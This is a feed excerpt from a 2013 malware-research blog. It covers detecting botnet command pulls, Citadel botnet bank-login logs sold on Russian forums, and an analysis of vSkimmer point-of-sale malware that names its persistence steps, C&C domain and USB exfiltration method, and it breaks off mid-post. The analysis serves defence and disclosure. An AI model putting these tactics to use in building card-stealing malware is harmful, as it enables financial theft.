&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Applying this method over several top botnet families exhibiting similar behaviour , I could detect them with medium to high level of confidence.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1uOYVkaEOo6zyGhtguf7dJ9xegolIs7spZzTpW9ig3MZu6ncxV9iISz3GYCJToyYuT0f2L9KLveoQPU0ZqN5Bk7nUZPJU1GD5KBY-nMndZPpK-wtEdCL4Whfn0WQVDnVI79BiD3yqVnY/s1600/results1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1uOYVkaEOo6zyGhtguf7dJ9xegolIs7spZzTpW9ig3MZu6ncxV9iISz3GYCJToyYuT0f2L9KLveoQPU0ZqN5Bk7nUZPJU1GD5KBY-nMndZPpK-wtEdCL4Whfn0WQVDnVI79BiD3yqVnY/s400/results1.png&quot; height=&quot;247&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Behavioral detection methods will be the key to detecting next-generation threats. Given the complexity and sophistication of the recent advanced attacks, such detection approaches can address threats proactively–without waiting for signature updates–and will prove to be much faster.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2013/11/periodic-command-pull-from-c-servers.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPvrXxqcC6pDzGQtbMH5yqJUDpk18jhMG2vfDD0_-6Nhn-q5WUrho6igTzrMisUQtn4Izr2myjdcUjwQsxnVwG4wbxLKWWcfWeaYQ_ZkFD3Ovp4yioQ0T5inBfQDq58Oha3Dpxfe6mPS4/s72-c/C&amp;C+distribution.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-5330220100668713494</guid><pubDate>Wed, 05 Jun 2013 02:11:00 +0000</pubDate><atom:updated>2014-06-04T23:17:55.373+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Botnet Research</category><title>Citadel Botnet Logs With Bank Account Logins On a Sale In Underground Forums</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Financial theft is one of the most lucrative forms of cybercrime. Malware authors continue to deliver sophisticated tools and techniques to unlock online bank accounts. Attackers design and develop botnets to perform financial fraud, targeting banks and other institutions for profit. These botnets traditionally have monitored victims’ Internet activities and intercepted banking transactions to extract account credentials and send them to their control servers. Recent botnets are armed with more advanced capabilities, yet traditional methods continue to be the most effective way to steal money.&lt;br /&gt;
&lt;br /&gt;
Recently I came across an underground Russian forum in which an author was actively selling botnet logs with account-login details from one targeted bank.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGfAI7n2asOD210gvdsMyZginV8qkzqbqazkCaeeHRMmwBYJfRTd_9gpVmyFZL54njC4Z47jXte8vO34orKu5LUFuagHPXvXv8v6mTsBwsOiLHhCcsydvyxkM8vWc0Ze-iIDWlrrNb_Vg/s1600/cit1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGfAI7n2asOD210gvdsMyZginV8qkzqbqazkCaeeHRMmwBYJfRTd_9gpVmyFZL54njC4Z47jXte8vO34orKu5LUFuagHPXvXv8v6mTsBwsOiLHhCcsydvyxkM8vWc0Ze-iIDWlrrNb_Vg/s400/cit1.jpg&quot; height=&quot;266&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
These botnet logs were from the Citadel botnet Version 1.3.4.5 (Extreme Edition). Citadel is a variant of the popular Zeus botnet and has been widely seen since late 2012. The latest edition of this botnet has already been covered in several&lt;a href=&quot;http://www.xylibox.com/2012/10/citadel-1351-rain-edition.html&quot;&gt; blogs&lt;/a&gt; out there.&lt;br /&gt;
&lt;br /&gt;
Here is a snapshot of server code for extracting bank account information stored in the database of the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8XltrKS9_A6lW2s8GEvILHuvUDh5zXp9Ic6ODx-tXltW3W5LPqoTpOXp19Iu9Cdzvbv14e4uK4I6uFi1sOFxAItZzn9z2ekr346ABQf5WhHO9mMEcWjRhSUxw8deUKbPqWueHbmc3XaM/s1600/cit7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8XltrKS9_A6lW2s8GEvILHuvUDh5zXp9Ic6ODx-tXltW3W5LPqoTpOXp19Iu9Cdzvbv14e4uK4I6uFi1sOFxAItZzn9z2ekr346ABQf5WhHO9mMEcWjRhSUxw8deUKbPqWueHbmc3XaM/s400/cit7.jpg&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here is what this mysterious banking botnet can do.It can log all the credentials used to login into the bank account , from the Citadel infected machine and sends it to the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTBlLWVOOZ9-capxbGjSh1bNs24yt53aBbu4nkV5VmGZXEXYxFIq_N2xnC3R3xPDvuDzvqIHgotIiS7Kk5ERCjTsfwDIrTWhmu9G-9hJtDnKqQu5Shq3wRkQXtkKEFlhJN8edVPDgYSd0/s1600/cit4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTBlLWVOOZ9-capxbGjSh1bNs24yt53aBbu4nkV5VmGZXEXYxFIq_N2xnC3R3xPDvuDzvqIHgotIiS7Kk5ERCjTsfwDIrTWhmu9G-9hJtDnKqQu5Shq3wRkQXtkKEFlhJN8edVPDgYSd0/s400/cit4.jpg&quot; height=&quot;236&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Research has revealed that Citadel is one of the most active botnets in the world, spanning several locations across Europe. One of the major reasons for its common use is that the botnet setup services are fairly cheap via the underground community. Here is an advertisement for the Citadel setup service.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbWEZktuUS3PTQonLmjbcDCWm8cOODvgWiV5OBlz-ClRZnWq-ICnDObFSnsWPlKyOwLhGcK8fD_k-v6a6OIAYCbgc4NQTFiV4PM9SWpFOfc1cwchVlmmKW7_Q2LjG-deEyEi59SCCrFr8/s1600/cit5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbWEZktuUS3PTQonLmjbcDCWm8cOODvgWiV5OBlz-ClRZnWq-ICnDObFSnsWPlKyOwLhGcK8fD_k-v6a6OIAYCbgc4NQTFiV4PM9SWpFOfc1cwchVlmmKW7_Q2LjG-deEyEi59SCCrFr8/s400/cit5.jpg&quot; height=&quot;288&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Same user advertising his setup service on another forum.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCOl91jiXf4l5nJzJQxjO2brV9DZBKDygDpj5_1e9DFGCg8NPMUy5m095sWHBghtu7n8hHhHjkOTFyzlPA5bM_rVkM3lPALaZ5qBtjhRhCK36j-wKAolSwQ8iA0q48nYX-3fZIa92ojTE/s1600/cit6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCOl91jiXf4l5nJzJQxjO2brV9DZBKDygDpj5_1e9DFGCg8NPMUy5m095sWHBghtu7n8hHhHjkOTFyzlPA5bM_rVkM3lPALaZ5qBtjhRhCK36j-wKAolSwQ8iA0q48nYX-3fZIa92ojTE/s400/cit6.jpg&quot; height=&quot;206&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Yet another service offered for the same botnet.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8eMqzd7-wImT5GFdpsYXrydmyCW0ur3xjsOwpg3gNI4tWuuZkVZfCV8YEaZ7nWi-IqVsIGHMDuUWH4aNXqc5FjHUXMrSil0ESXYXfUW9Cr6vXoNUNjvkvzmOmnPottQI_GvXmurd1byU/s1600/cit8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8eMqzd7-wImT5GFdpsYXrydmyCW0ur3xjsOwpg3gNI4tWuuZkVZfCV8YEaZ7nWi-IqVsIGHMDuUWH4aNXqc5FjHUXMrSil0ESXYXfUW9Cr6vXoNUNjvkvzmOmnPottQI_GvXmurd1byU/s400/cit8.jpg&quot; height=&quot;197&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Many cybercriminals avoid transferring money to their own accounts due to the risk of prosecution, but selling the account information and making the money from the sale is an effective way of preserving &amp;nbsp;anonymity. Thus the attacker can’t be held accountable for the transfers made from a stolen account.&lt;br /&gt;
As the precautionary measure, we should look out for accounts being accessed or transactions made to/from different geographical locations. Banks place limits on the amount of money that can be transferred in one day or in a single transaction. Spotting small, unauthorized transactions made from an account should be noticeable and prevent major financial losses.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2013/06/citadel-botnet-logs-with-bank-account.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGfAI7n2asOD210gvdsMyZginV8qkzqbqazkCaeeHRMmwBYJfRTd_9gpVmyFZL54njC4Z47jXte8vO34orKu5LUFuagHPXvXv8v6mTsBwsOiLHhCcsydvyxkM8vWc0Ze-iIDWlrrNb_Vg/s72-c/cit1.jpg" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-2991286037769073470</guid><pubDate>Sun, 28 Apr 2013 09:33:00 +0000</pubDate><atom:updated>2014-06-04T23:19:00.092+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Botnet Research</category><title>VSkimmer Botnet Targets Point-Of-Sale Devices : Be Cautious When You Swipe Your Credit Cards Next Time For Shopping !!..</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
I was monitoring one of the Russian underground forums a while back, and came across a discussion thread &amp;nbsp;where the author was offering the malware for sale which had the capability to steal the credit card information from the Windows machines attached the Credit / Debit card payment devices.This malware, vSkimmer, can detect the card readers, grab all the information from the Windows machines attached to these readers, and send that data to a control server. These kind of equipments are typically known as Point-Of-Sale devices used for processing the Credit / Debit card financial transactions and are used in shops , hotels and other industries . The author of the thread also discusses other capabilities of this malware, which appears to be a successor of &lt;a href=&quot;http://www.seculert.com/blog/2012/12/dexter-draining-blood-out-of-point-of-sales.html&quot;&gt;Dexter&lt;/a&gt;&amp;nbsp;discovered last year&amp;nbsp;, but with additional functions.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihSmAxE6KWzRbDo783qS0LNcEv_zG2RrgpYRTnQVfhh8IULel0iOcoE6j3IDVe50dpy9l-MfGM2Vt0k1q73z98WqpW7-cz1Z8vYd1_1gaqr3DJqQ6z2JUn_FP04HoGzJ8eC8tf7Z6xvBc/s1600/1-1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihSmAxE6KWzRbDo783qS0LNcEv_zG2RrgpYRTnQVfhh8IULel0iOcoE6j3IDVe50dpy9l-MfGM2Vt0k1q73z98WqpW7-cz1Z8vYd1_1gaqr3DJqQ6z2JUn_FP04HoGzJ8eC8tf7Z6xvBc/s400/1-1.png&quot; height=&quot;177&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Later in the thread , author of this malware discusses about the payment methods and the sale policies.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDGOFEYbeZnVok9ldAQIngWt7f458Pu76_6Kh0uTToE6L23i5NhtqtZSyYWLfVM0hz3Y20kyX3YedfMIFWKgw_qZoHhthpxPMrQRA5-jYGn3SbwPXiJyU9sCj1XbB3xbGFA9ES52MYG2o/s1600/34.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDGOFEYbeZnVok9ldAQIngWt7f458Pu76_6Kh0uTToE6L23i5NhtqtZSyYWLfVM0hz3Y20kyX3YedfMIFWKgw_qZoHhthpxPMrQRA5-jYGn3SbwPXiJyU9sCj1XbB3xbGFA9ES52MYG2o/s400/34.png&quot; height=&quot;210&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We already know about botnets such as Zeus , SpyEye , Citadel &amp;nbsp;( variant of Zeus ) which performs financial fraud using extremely sophisticated techniques including &amp;nbsp;intercepting the victims’ banking transactions. VSkimmer is another example of how financial fraud is actively evolving and how financial Trojans are developed and passed around in the underground community. This botnet is particularly interesting because it directly targets card-payment terminals running Windows.&lt;br /&gt;
&lt;br /&gt;
I analyzed &amp;nbsp;samples of this malware and figured out how it steals the credit card information and its additional control functionalities as well. While performing the API tracing , we found it uses fairly standard antidebugging techniques .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3OF9gYNjUdwV2d3efnf3g16klCZhS_GyYq4rCh0ogG1K1zpxgOMdUWnzRdH8h5h9UM-Zubr0bSo5dE35nMlUFZvmuKSekniuyieYqSRPUzAK3bV6b2yODNIqh8rgIYjhmBb-vmXlUffI/s1600/6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3OF9gYNjUdwV2d3efnf3g16klCZhS_GyYq4rCh0ogG1K1zpxgOMdUWnzRdH8h5h9UM-Zubr0bSo5dE35nMlUFZvmuKSekniuyieYqSRPUzAK3bV6b2yODNIqh8rgIYjhmBb-vmXlUffI/s400/6.png&quot; height=&quot;233&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The malware collects the following information from the infected machine and sends it to the control server:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Machine GUID from the Registry :&lt;/li&gt;
&lt;li&gt;Locale info&lt;/li&gt;
&lt;li&gt;Username&lt;/li&gt;
&lt;li&gt;Hostname&lt;/li&gt;
&lt;li&gt;OS version&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6Zu5wTGIL_hvlmv36lO2titjvR0t9AMlYCqr5vj2rcYgNYDsMPjOIKVM4_EFnBJl99UN9Xx8MouC4Y2hxruRaZrAkwNUNzsToFQQfE5Zdc8CLKoV3RoPlEiEdXJGHwuyUV_Bn2G_zRkw/s1600/1-2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6Zu5wTGIL_hvlmv36lO2titjvR0t9AMlYCqr5vj2rcYgNYDsMPjOIKVM4_EFnBJl99UN9Xx8MouC4Y2hxruRaZrAkwNUNzsToFQQfE5Zdc8CLKoV3RoPlEiEdXJGHwuyUV_Bn2G_zRkw/s400/1-2.png&quot; height=&quot;213&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This malware uses a standard installation mechanism and copies itself as svchost.exe into %APPDATA% , modifies the registry key to add itself under the authorized list of apps, and runs ShellExecute to launch the process. One function of vSkimmer if the Internet is not available is to wait for a USB device with the volume name &lt;b&gt;KARTOXA007&lt;/b&gt; &amp;nbsp;to be connected to the infected machine and to copy all the logs with the file name &lt;b&gt;dumz.log&lt;/b&gt; and the card info collected from the victim to the USB drive.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqBLybcbJf4Z3pKaIblI9rWJBCZoFgT6MwLzhL9Kk2HsgFn18JaMa8fGvRwKeEB-_bRwLnyC1b1A7HqrzeLll79XbCFOHOXvzVniXH31s-Xj2a5XGqnBylpJ0j8vjqwKiE4IKhTWqDQ7o/s1600/21.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqBLybcbJf4Z3pKaIblI9rWJBCZoFgT6MwLzhL9Kk2HsgFn18JaMa8fGvRwKeEB-_bRwLnyC1b1A7HqrzeLll79XbCFOHOXvzVniXH31s-Xj2a5XGqnBylpJ0j8vjqwKiE4IKhTWqDQ7o/s400/21.png&quot; height=&quot;158&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
As you can notice in the above code , it tries to resolve the C&amp;amp;C server &lt;b&gt;www.posterminalworld.la&lt;/b&gt; and if it does not resolve , it will call another subroutine to wait for the USB drive to be connected and copies the collected logs.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXsQ5CJJBrcMn4JhhFgdHDAjc642DWBq-YaxNgHXDerHRqLUWaOwd7m6T-KhpKfwiJnYkD3y_LucDaOdpE6z_XhLZBJfZtnd7EhuAP_LkDGi-QlSA9HvtjePCloNdyaXvUS2b4U6aVx84/s1600/36.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXsQ5CJJBrcMn4JhhFgdHDAjc642DWBq-YaxNgHXDerHRqLUWaOwd7m6T-KhpKfwiJnYkD3y_LucDaOdpE6z_XhLZBJfZtnd7EhuAP_LkDGi-QlSA9HvtjePCloNdyaXvUS2b4U6aVx84/s400/36.png&quot; height=&quot;280&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I checked by disconnecting from the Internet. The malware enumerated all the drives and created the file dumz.log in the drive with the preceding name.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7OTFZ_h8hZtkNp4kCTkp29LQUKfO5hyp1WkiGubXoES84_cKxGf5ztw8YMRqrTJnYxcj0nrM4RDBrjVB8T1yVusk7L7AyulibZmvZcsZtHyFxz9x2eQDMSyCfZsKCPhcXuVLDVZs1vqs/s1600/35.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7OTFZ_h8hZtkNp4kCTkp29LQUKfO5hyp1WkiGubXoES84_cKxGf5ztw8YMRqrTJnYxcj0nrM4RDBrjVB8T1yVusk7L7AyulibZmvZcsZtHyFxz9x2eQDMSyCfZsKCPhcXuVLDVZs1vqs/s400/35.png&quot; height=&quot;177&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
